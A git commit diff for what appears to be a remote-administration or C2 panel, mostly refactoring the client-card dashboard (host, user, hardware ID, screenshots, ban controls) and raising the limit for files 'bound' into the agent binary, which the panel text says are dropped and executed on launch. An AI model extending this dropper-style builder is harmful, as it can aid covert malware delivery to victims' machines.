improve cards getting updated, move bind size to 50 mb and also fix custom css for some pages

This commit is contained in:
KingKDot
2026-04-08 19:47:38 -05:00
parent d37355ffaa
commit 3da598369d
6 changed files with 209 additions and 167 deletions
+2 -2
View File
@@ -702,7 +702,7 @@ if (cloneExeUpload) {
}
const MAX_BIND_FILES = 5;
const MAX_BIND_FILE_BYTES = 10 * 1024 * 1024; // 10 MB
const MAX_BIND_FILE_BYTES = 50 * 1024 * 1024; // 50 MB
let boundFiles = []; // { name, base64, targetOS: string[], execute: boolean }
@@ -796,7 +796,7 @@ if (bindFileInput) {
return;
}
if (file.size > MAX_BIND_FILE_BYTES) {
alert(`Each bound file must be under 10 MB. "${file.name}" is too large.`);
alert(`Each bound file must be under 50 MB. "${file.name}" is too large.`);
return;
}
const safeName = sanitizeBindName(file.name);
+202 -162
View File
@@ -15,6 +15,10 @@ function escapeHtml(text) {
return div.innerHTML;
}
function cardDigest(c) {
return `${c.id}|${!!c.online}|${c.lastSeen}|${c.pingMs}|${c.host}|${c.user}|${c.os}|${c.arch}|${c.version}|${c.monitors}|${c.thumbnail}|${c.country}|${c.nickname}|${c.customTag}|${c.customTagNote}|${!!c.bookmarked}|${!!c.isAdmin}|${c.cpu}|${c.gpu}|${c.ram}|${c.hwid}|${c.disconnectReason}|${c.disconnectDetail}`;
}
export function createRenderer({
grid,
totalPill,
@@ -32,15 +36,209 @@ export function createRenderer({
const TOUCH_LONG_PRESS_MS = 520;
const TOUCH_MOVE_CANCEL_PX = 10;
let renderToken = 0;
let gridDelegated = false;
/* ── Event delegation ─────────────────────────────────────────── */
function setupGridDelegation() {
if (gridDelegated) return;
gridDelegated = true;
grid.addEventListener("click", (e) => {
const card = e.target.closest("article[data-id]");
if (!card) return;
const clientId = card.dataset.id;
if (e.target.closest(".client-checkbox")) {
e.stopPropagation();
if (window.toggleClientSelection) window.toggleClientSelection(clientId);
return;
}
const bookmarkBtn = e.target.closest(".bookmark-btn");
if (bookmarkBtn) {
e.stopPropagation();
handleBookmarkClick(card, bookmarkBtn);
return;
}
if (e.target.closest(".command-btn")) {
e.stopPropagation();
const rect = e.target.closest(".command-btn").getBoundingClientRect();
openMenu(clientId, rect.right, rect.bottom);
return;
}
if (e.target.closest(".ban-btn")) {
e.stopPropagation();
if (window.banClient) window.banClient(clientId);
return;
}
if (e.target.closest(".client-tag-toggle")) {
e.stopPropagation();
handleTagToggle(card);
return;
}
if (e.target.closest(".hw-toggle")) {
e.stopPropagation();
handleHwToggle(card);
return;
}
const thumbImg = e.target.closest(".thumb-img");
if (thumbImg) {
if (thumbImg.src) openModal(thumbImg.src);
return;
}
if (card._longPressTriggered) {
card._longPressTriggered = false;
e.preventDefault();
e.stopPropagation();
return;
}
if (e.target.closest("button")) return;
if (e.target.closest(".client-checkbox")) return;
const checkbox = card.querySelector(".client-checkbox");
if (e.ctrlKey || e.metaKey || e.shiftKey) {
if (checkbox && !checkbox.disabled) {
checkbox.checked = !checkbox.checked;
if (window.toggleClientSelection) window.toggleClientSelection(clientId);
}
return;
}
if (card.dataset.online !== "true") return;
if (pingClient) pingClient(clientId);
requestThumbnail(clientId);
});
grid.addEventListener("contextmenu", (e) => {
const card = e.target.closest("article[data-id]");
if (!card || isViewer) return;
e.preventDefault();
openMenu(card.dataset.id, e.clientX, e.clientY);
});
grid.addEventListener("pointerdown", (e) => {
if (isViewer || e.pointerType !== "touch") return;
if (e.target.closest("button") || e.target.closest(".client-checkbox")) return;
const card = e.target.closest("article[data-id]");
if (!card) return;
card._longPressTriggered = false;
card._pointerStartX = e.clientX;
card._pointerStartY = e.clientY;
clearTimeout(card._longPressTimer);
card._longPressTimer = setTimeout(() => {
card._longPressTriggered = true;
openMenu(card.dataset.id, e.clientX, e.clientY);
}, TOUCH_LONG_PRESS_MS);
});
grid.addEventListener("pointermove", (e) => {
if (e.pointerType !== "touch") return;
const card = e.target.closest("article[data-id]");
if (!card || !card._longPressTimer) return;
if (
Math.abs(e.clientX - card._pointerStartX) > TOUCH_MOVE_CANCEL_PX ||
Math.abs(e.clientY - card._pointerStartY) > TOUCH_MOVE_CANCEL_PX
) {
clearTimeout(card._longPressTimer);
card._longPressTimer = null;
}
});
const clearLongPress = (e) => {
if (e.pointerType !== "touch") return;
const card = e.target.closest("article[data-id]");
if (card) { clearTimeout(card._longPressTimer); card._longPressTimer = null; }
};
grid.addEventListener("pointerup", clearLongPress);
grid.addEventListener("pointercancel", clearLongPress);
grid.addEventListener("pointerleave", clearLongPress, true);
}
async function handleBookmarkClick(card, btn) {
const id = card.dataset.id;
const isBookmarked = card.dataset.bookmarked === "true";
try {
const res = await fetch(`/api/clients/${id}/bookmark`, {
method: "PATCH",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({ bookmarked: !isBookmarked }),
});
if (res.ok) {
card.dataset.bookmarked = String(!isBookmarked);
const icon = btn.querySelector("i");
if (!isBookmarked) {
btn.classList.remove("border-slate-700", "bg-slate-800/50", "text-slate-500");
btn.classList.add("border-yellow-600", "bg-yellow-900/50", "text-yellow-300");
card.classList.remove("border-slate-800");
card.classList.add("border-yellow-600/60");
if (icon) { icon.classList.remove("fa-regular"); icon.classList.add("fa-solid"); }
btn.title = "Remove bookmark";
} else {
btn.classList.remove("border-yellow-600", "bg-yellow-900/50", "text-yellow-300");
btn.classList.add("border-slate-700", "bg-slate-800/50", "text-slate-500");
card.classList.remove("border-yellow-600/60");
card.classList.add("border-slate-800");
if (icon) { icon.classList.remove("fa-solid"); icon.classList.add("fa-regular"); }
btn.title = "Bookmark";
}
}
} catch (err) {
console.error("bookmark toggle failed", err);
}
}
function handleTagToggle(card) {
const notePanel = card.querySelector(".client-tag-note");
if (!notePanel) return;
const expanded = notePanel.classList.toggle("hidden") === false;
card.dataset.tagNoteExpanded = expanded ? "true" : "false";
const tagToggle = card.querySelector(".client-tag-toggle");
tagToggle?.setAttribute("aria-expanded", expanded ? "true" : "false");
const chevron = tagToggle?.querySelector(".fa-chevron-up, .fa-chevron-down");
if (chevron) {
chevron.classList.toggle("fa-chevron-up", expanded);
chevron.classList.toggle("fa-chevron-down", !expanded);
}
}
function handleHwToggle(card) {
const hwPanel = card.querySelector(".hw-panel");
if (!hwPanel) return;
const expanded = hwPanel.classList.toggle("hidden") === false;
card.dataset.hwExpanded = expanded ? "true" : "false";
const hwToggle = card.querySelector(".hw-toggle");
hwToggle?.setAttribute("aria-expanded", expanded ? "true" : "false");
const chevron = hwToggle?.querySelector(".fa-chevron-up, .fa-chevron-down");
if (chevron) {
chevron.classList.toggle("fa-chevron-up", expanded);
chevron.classList.toggle("fa-chevron-down", !expanded);
}
}
function reorderCards(items) {
const cards = grid.querySelectorAll("article[data-id]");
let needsReorder = cards.length !== items.length;
if (!needsReorder) {
for (let i = 0; i < items.length; i++) {
if (cards[i]?.dataset?.id !== items[i].id) { needsReorder = true; break; }
}
}
if (!needsReorder) return;
items.forEach((client) => {
const card = grid.querySelector(`article[data-id="${client.id}"]`);
if (card) grid.appendChild(card);
});
}
function renderMerge(data, options = {}) {
setupGridDelegation();
const { reorder = false } = options;
totalPill.textContent = `${data.online ?? data.total} online / ${data.total} total`;
const totalPages = Math.max(1, Math.ceil(data.total / data.pageSize));
@@ -62,6 +260,9 @@ export function createRenderer({
seen.add(client.id);
const existing = grid.querySelector(`article[data-id="${client.id}"]`);
if (existing) {
const digest = cardDigest(client);
if (existing._cardDigest === digest) return;
existing._cardDigest = digest;
updateCard(existing, client);
return;
}
@@ -122,56 +323,9 @@ export function createRenderer({
const card = document.createElement("article");
card.dataset.id = client.id;
card.dataset.hwid = client.hwid || "";
let longPressTimer = null;
card._longPressTriggered = false;
let pointerStartX = 0;
let pointerStartY = 0;
const clearLongPress = () => {
if (longPressTimer) {
clearTimeout(longPressTimer);
longPressTimer = null;
}
};
updateCard(card, client);
card.addEventListener("contextmenu", (e) => {
e.preventDefault();
if (isViewer) return;
const clientId = card.dataset.id;
if (!clientId) return;
const { clientX, clientY } = e;
openMenu(clientId, clientX, clientY);
});
card.addEventListener("pointerdown", (e) => {
if (isViewer || e.pointerType !== "touch") return;
if (e.target.closest("button") || e.target.closest(".client-checkbox")) return;
const clientId = card.dataset.id;
if (!clientId) return;
card._longPressTriggered = false;
pointerStartX = e.clientX;
pointerStartY = e.clientY;
clearLongPress();
longPressTimer = setTimeout(() => {
card._longPressTriggered = true;
openMenu(clientId, e.clientX, e.clientY);
}, TOUCH_LONG_PRESS_MS);
});
card.addEventListener("pointermove", (e) => {
if (!longPressTimer || e.pointerType !== "touch") return;
const movedX = Math.abs(e.clientX - pointerStartX);
const movedY = Math.abs(e.clientY - pointerStartY);
if (movedX > TOUCH_MOVE_CANCEL_PX || movedY > TOUCH_MOVE_CANCEL_PX) {
clearLongPress();
}
});
card.addEventListener("pointerup", clearLongPress);
card.addEventListener("pointercancel", clearLongPress);
card.addEventListener("pointerleave", clearLongPress);
card._cardDigest = cardDigest(client);
if (options.animate) {
card.classList.add("card-animate");
@@ -322,121 +476,7 @@ export function createRenderer({
if ((wasChecked || isSelected) && client.online) {
checkbox.checked = true;
}
checkbox.addEventListener("change", (e) => {
e.stopPropagation();
if (window.toggleClientSelection) {
window.toggleClientSelection(client.id);
}
});
}
if (!isViewer) {
card.querySelector(".command-btn")?.addEventListener("click", (e) => {
e.stopPropagation();
const rect = e.currentTarget.getBoundingClientRect();
openMenu(client.id, rect.right, rect.bottom);
});
card.querySelector(".ban-btn")?.addEventListener("click", (e) => {
e.stopPropagation();
if (window.banClient) {
window.banClient(client.id);
}
});
}
card.querySelector(".bookmark-btn")?.addEventListener("click", async (e) => {
e.stopPropagation();
const btn = e.currentTarget;
const id = btn.dataset.id;
const isBookmarked = card.dataset.bookmarked === "true";
try {
const res = await fetch(`/api/clients/${id}/bookmark`, {
method: "PATCH",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({ bookmarked: !isBookmarked }),
});
if (res.ok) {
card.dataset.bookmarked = String(!isBookmarked);
const icon = btn.querySelector("i");
if (!isBookmarked) {
btn.classList.remove("border-slate-700", "bg-slate-800/50", "text-slate-500");
btn.classList.add("border-yellow-600", "bg-yellow-900/50", "text-yellow-300");
card.classList.remove("border-slate-800");
card.classList.add("border-yellow-600/60");
if (icon) { icon.classList.remove("fa-regular"); icon.classList.add("fa-solid"); }
btn.title = "Remove bookmark";
} else {
btn.classList.remove("border-yellow-600", "bg-yellow-900/50", "text-yellow-300");
btn.classList.add("border-slate-700", "bg-slate-800/50", "text-slate-500");
card.classList.remove("border-yellow-600/60");
card.classList.add("border-slate-800");
if (icon) { icon.classList.remove("fa-solid"); icon.classList.add("fa-regular"); }
btn.title = "Bookmark";
}
}
} catch (err) {
console.error("bookmark toggle failed", err);
}
});
card.querySelector(".client-tag-toggle")?.addEventListener("click", (e) => {
e.stopPropagation();
const notePanel = card.querySelector(".client-tag-note");
if (!notePanel) return;
const expanded = notePanel.classList.toggle("hidden") === false;
card.dataset.tagNoteExpanded = expanded ? "true" : "false";
const tagToggle = card.querySelector(".client-tag-toggle");
tagToggle?.setAttribute("aria-expanded", expanded ? "true" : "false");
const chevron = tagToggle?.querySelector(".fa-chevron-up, .fa-chevron-down");
if (chevron) {
chevron.classList.toggle("fa-chevron-up", expanded);
chevron.classList.toggle("fa-chevron-down", !expanded);
}
});
card.querySelector(".hw-toggle")?.addEventListener("click", (e) => {
e.stopPropagation();
const hwPanel = card.querySelector(".hw-panel");
if (!hwPanel) return;
const expanded = hwPanel.classList.toggle("hidden") === false;
card.dataset.hwExpanded = expanded ? "true" : "false";
const hwToggle = card.querySelector(".hw-toggle");
hwToggle?.setAttribute("aria-expanded", expanded ? "true" : "false");
const chevron = hwToggle?.querySelector(".fa-chevron-up, .fa-chevron-down");
if (chevron) {
chevron.classList.toggle("fa-chevron-up", expanded);
chevron.classList.toggle("fa-chevron-down", !expanded);
}
});
card
.querySelector(".thumb-img")
?.addEventListener("click", () => openModal(client.thumbnail));
card.onclick = (e) => {
if (card._longPressTriggered) {
card._longPressTriggered = false;
e.preventDefault();
e.stopPropagation();
return;
}
if (e.target.closest(".command-btn") || e.target.closest("button"))
return;
if (e.target.closest(".client-checkbox")) return;
if (e.ctrlKey || e.metaKey || e.shiftKey) {
if (checkbox && !checkbox.disabled) {
checkbox.checked = !checkbox.checked;
if (window.toggleClientSelection) {
window.toggleClientSelection(client.id);
}
}
return;
}
if (!client.online) return;
if (pingClient) pingClient(client.id);
requestThumbnail(client.id);
};
}
return { renderMerge };
+1 -1
View File
@@ -532,7 +532,7 @@
<p class="text-xs text-slate-400">
Files are embedded inside the agent binary and written to a temp directory when the agent starts.
Up to 5 files, 10 MB each. Files set to <em>Execute</em> are launched immediately after being dropped.
Up to 5 files, 50 MB each. Files set to <em>Execute</em> are launched immediately after being dropped.
</p>
<!-- macOS Gatekeeper note -->
+1
View File
@@ -7,6 +7,7 @@
<link rel="icon" type="image/x-icon" href="/assets/favicon.ico" />
<link rel="stylesheet" href="/assets/tailwind.css" />
<link rel="stylesheet" href="/assets/main.css" />
<link rel="stylesheet" href="/assets/custom.css" />
<link
rel="stylesheet"
href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.5.2/css/all.min.css"
@@ -234,7 +234,7 @@ export async function handleBuildRoutes(
? sleepSeconds : 0;
const MAX_BOUND_FILES = 5;
const MAX_BOUND_FILE_BYTES = 10 * 1024 * 1024;
const MAX_BOUND_FILE_BYTES = 50 * 1024 * 1024;
const ALLOWED_BIND_TARGET_OS = new Set(["windows", "linux", "darwin"]);
const RESERVED_BIND_NAMES = new Set(["manifest.json"]);
type SafeBoundFile = { name: string; data: string; targetOS: string[]; execute: boolean };
@@ -266,7 +266,7 @@ export async function handleBuildRoutes(
}
const approxDecodedBytes = Math.floor(f.data.length * 3 / 4);
if (approxDecodedBytes > MAX_BOUND_FILE_BYTES) {
return Response.json({ error: `Bound file '${safeName}' exceeds the 10 MB limit` }, { status: 400 });
return Response.json({ error: `Bound file '${safeName}' exceeds the 50 MB limit` }, { status: 400 });
}
const safeTargetOS = Array.isArray(f.targetOS)
? f.targetOS.filter((o: unknown) => typeof o === "string" && ALLOWED_BIND_TARGET_OS.has(o as string)) as string[]
@@ -657,6 +657,7 @@ export async function handlePluginRoutes(
referrerpolicy="no-referrer"
/>
<link rel="stylesheet" href="/assets/main.css" />
<link rel="stylesheet" href="/assets/custom.css" />
</head>
<body class="min-h-screen bg-slate-950 text-slate-100">
<header id="top-nav"></header>